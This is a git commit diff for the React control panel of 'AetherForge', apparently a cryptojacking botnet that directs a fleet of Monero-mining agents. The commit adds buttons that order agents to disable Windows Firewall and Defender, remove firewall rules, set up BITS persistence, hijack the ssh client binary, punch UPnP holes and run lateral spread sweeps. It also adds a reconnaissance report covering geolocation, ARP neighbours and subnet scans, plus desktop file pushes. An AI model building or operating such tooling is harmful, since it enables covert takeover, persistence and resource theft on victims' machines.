feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot') {
if (action === 'full_sys_check') {
if (success && message) {
const parsed = parseFullSysCheckMessage(message);
if (parsed) {
setSysCheckReport(parsed);
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
} else {
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
}
} else {
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
}
}
}, [commandResults, agentId, addLog]);
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
if (action === 'full_sys_check') {
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
setIsDragging(true);
};
const handleDragLeave = () => setIsDragging(false);
const pushDesktopFile = async (file: File) => {
try {
await pushFileToAgentDesktop(
(action, args) => dispatch(action, args),
file
);
} catch (err) {
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
}
};
const handleDrop = (e: React.DragEvent) => {
e.preventDefault();
e.stopPropagation();
setIsDragging(false);
const file = e.dataTransfer.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = async (evt) => {
const base64 = (evt.target?.result as string).split(',')[1];
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
await dispatch('upload', { path: targetPath, data: base64 });
};
reader.readAsDataURL(file);
void pushDesktopFile(file);
};
const desktopFileInputRef = useRef<HTMLInputElement>(null);
const runCustomCommand = (e: React.FormEvent) => {
e.preventDefault();
if (!customCmd.trim()) return;
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
onClick={() => dispatch('full_sys_check')}
>
Full Sys Check
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
>
Open FW Port
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => dispatch('firewall_off')}
>
FW Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => dispatch('firewall_on')}
>
FW On
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => dispatch('firewall_remove')}
>
Remove FW Rules
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => dispatch('bits_persist')}
>
BITS Persist
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
type="button"
className="btn-magenta"
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
</div>
</div>
{sysCheckReport && !compact && (
<FullSysCheckPanel
report={sysCheckReport}
agentName={agentName}
onClose={() => setSysCheckReport(null)}
/>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
<small>Uploads to C:\Windows\Temp\</small>
<small>Pushes to user Desktop (any OS)</small>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ marginTop: '0.5rem' }}
disabled={!isOnline || !!busy}
onClick={() => desktopFileInputRef.current?.click()}
>
Choose file Desktop
</button>
<input
ref={desktopFileInputRef}
type="file"
hidden
onChange={(e) => {
const file = e.target.files?.[0];
if (file) void pushDesktopFile(file);
e.target.value = '';
}}
/>
</div>
<div className="master-terminal">

View File

@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -210,20 +231,24 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className="section contrib-panel" hud>
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Each bar shows a machine's share of total fleet hashrate.
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -0,0 +1,141 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
overflow: auto;
}
.syscheck-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 1rem;
margin-bottom: 1rem;
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
padding-bottom: 0.75rem;
}
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
}
.syscheck-sub {
margin: 0.25rem 0 0;
font-size: 0.75rem;
color: var(--clr-dim, #888);
}
.syscheck-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 1rem;
}
.syscheck-section {
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.syscheck-section-title {
margin: 0 0 0.5rem;
font-size: 0.72rem;
letter-spacing: 0.12em;
color: var(--accent-gold, #c9a227);
text-transform: uppercase;
}
.syscheck-kv {
display: grid;
grid-template-columns: 110px 1fr;
gap: 0.35rem 0.5rem;
margin-bottom: 0.35rem;
font-size: 0.8rem;
}
.syscheck-k {
color: var(--clr-dim, #888);
}
.syscheck-v {
color: #e8e8f0;
word-break: break-word;
}
.syscheck-ok {
color: #4ade80;
}
.syscheck-bad {
color: #f87171;
}
.syscheck-muted {
color: #777;
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
font-weight: 600;
}
.syscheck-subhead {
margin-top: 0.5rem;
font-size: 0.7rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.syscheck-pre {
margin: 0.35rem 0 0.5rem;
padding: 0.5rem;
background: rgba(0, 0, 0, 0.45);
border-radius: 4px;
font-size: 0.72rem;
max-height: 160px;
overflow: auto;
white-space: pre-wrap;
color: #bbb;
}
.syscheck-table-wrap {
overflow-x: auto;
margin-top: 0.35rem;
}
.syscheck-table {
width: 100%;
font-size: 0.72rem;
border-collapse: collapse;
}
.syscheck-table th,
.syscheck-table td {
padding: 0.2rem 0.35rem;
border-bottom: 1px solid #222;
text-align: left;
}
.syscheck-iface {
margin-bottom: 0.5rem;
font-size: 0.78rem;
}
.syscheck-raw {
margin-top: 1rem;
font-size: 0.8rem;
}
.syscheck-raw summary {
cursor: pointer;
color: var(--accent-gold, #c9a227);
margin-bottom: 0.5rem;
}
.syscheck-errors {
margin-top: 0.75rem;
color: #f87171;
font-size: 0.78rem;
}

View File

@@ -0,0 +1,247 @@
import type { ReactNode } from 'react';
import type { FullSysCheckReport } from '../../types/syscheck';
import './FullSysCheckPanel.css';
function Row({ label, value }: { label: string; value: ReactNode }) {
if (value === undefined || value === null || value === '') return null;
return (
<div className="syscheck-kv">
<span className="syscheck-k">{label}</span>
<span className="syscheck-v">{value}</span>
</div>
);
}
function Section({ title, children }: { title: string; children: ReactNode }) {
return (
<section className="syscheck-section">
<h4 className="syscheck-section-title font-tech">{title}</h4>
<div className="syscheck-section-body">{children}</div>
</section>
);
}
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
if (v === undefined) return <span className="syscheck-muted"></span>;
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
}
export default function FullSysCheckPanel({
report,
agentName,
onClose,
}: {
report: FullSysCheckReport;
agentName: string;
onClose?: () => void;
}) {
const geo = report.network?.geo;
const geoLine =
geo &&
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
(geo.isp ? ` · ${geo.isp}` : '') +
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
return (
<div className="syscheck-panel">
<div className="syscheck-header">
<div>
<h3 className="font-display">Full System Check</h3>
<p className="syscheck-sub font-tech">
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
</p>
</div>
{onClose && (
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
Close
</button>
)}
</div>
<div className="syscheck-grid">
<Section title="Network &amp; Location">
<Row label="External IP" value={report.network?.external_ip} />
<Row label="IP Source" value={report.network?.external_ip_source} />
<Row label="Location" value={geoLine} />
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
<Row label="Default Gateway" value={report.network?.default_gateway} />
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
)}
{report.neighbors?.subnet_scan && (
<>
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
</>
)}
</Section>
<Section title="Security &amp; Firewall">
<Row
label="Posture Score"
value={
report.security?.posture_score != null ? (
<span className="syscheck-score">{report.security.posture_score} / 100</span>
) : undefined
}
/>
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
<Row
label="Firewall D / P / Pub"
value={
<>
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
</>
}
/>
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
<Row label="Pending Updates" value={report.security?.pending_updates} />
<Row
label="Last Patch"
value={
report.security?.last_patch
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
: undefined
}
/>
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
{report.hardware?.cpus?.map((c, i) => (
<Row
key={i}
label={`CPU ${i + 1}`}
value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
/>
))}
{report.hardware?.gpus?.map((g, i) => (
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
))}
{report.hardware?.disks?.map((d, i) => (
<Row
key={i}
label={`Disk ${d.mount ?? i}`}
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
/>
))}
</Section>
<Section title="Identity &amp; Agent">
<Row label="Hostname" value={report.hostname} />
<Row label="OS" value={report.os_version} />
<Row label="User" value={report.identity?.username} />
<Row label="Domain" value={report.identity?.domain} />
<Row label="Computer" value={report.identity?.computer_name} />
<Row label="MAC" value={report.identity?.mac_address} />
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
<Row label="Install Dir" value={report.environment?.install_dir} />
</Section>
<Section title="Live Resources">
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
<Row
label="Disk (miner vol)"
value={
report.resources?.disk_free_pct != null
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
: undefined
}
/>
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
</Section>
<Section title="Listeners">
<Row label="Open TCP ports" value={report.listen_ports?.count} />
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
<div className="syscheck-table-wrap">
<table className="syscheck-table">
<thead>
<tr>
<th>Port</th>
<th>Bind</th>
<th>Process</th>
</tr>
</thead>
<tbody>
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
<tr key={i}>
<td>{p.port}</td>
<td>{p.addr}</td>
<td>{p.process || p.pid}</td>
</tr>
))}
</tbody>
</table>
</div>
)}
</Section>
<Section title="Interfaces">
{report.network?.interfaces?.map((iface, i) => (
<div key={i} className="syscheck-iface">
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
{iface.ipv4?.map((ip) => (
<div key={ip} className="syscheck-muted">
{ip}
</div>
))}
</div>
))}
{report.network?.routes_summary && (
<>
<div className="syscheck-k syscheck-subhead">Routes</div>
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
</>
)}
</Section>
</div>
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
<details className="syscheck-raw">
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
{report.raw_sysinfo && (
<>
<div className="syscheck-k">systeminfo / uname</div>
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
</>
)}
{report.raw_ipconfig && (
<>
<div className="syscheck-k">ipconfig / ip addr</div>
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
</>
)}
{report.raw_netstat && (
<>
<div className="syscheck-k">netstat</div>
<pre className="syscheck-pre">{report.raw_netstat}</pre>
</>
)}
</details>
)}
{report.probe_errors && report.probe_errors.length > 0 && (
<div className="syscheck-errors">
{report.probe_errors.map((e, i) => (
<div key={i}>{e}</div>
))}
</div>
)}
</div>
);
}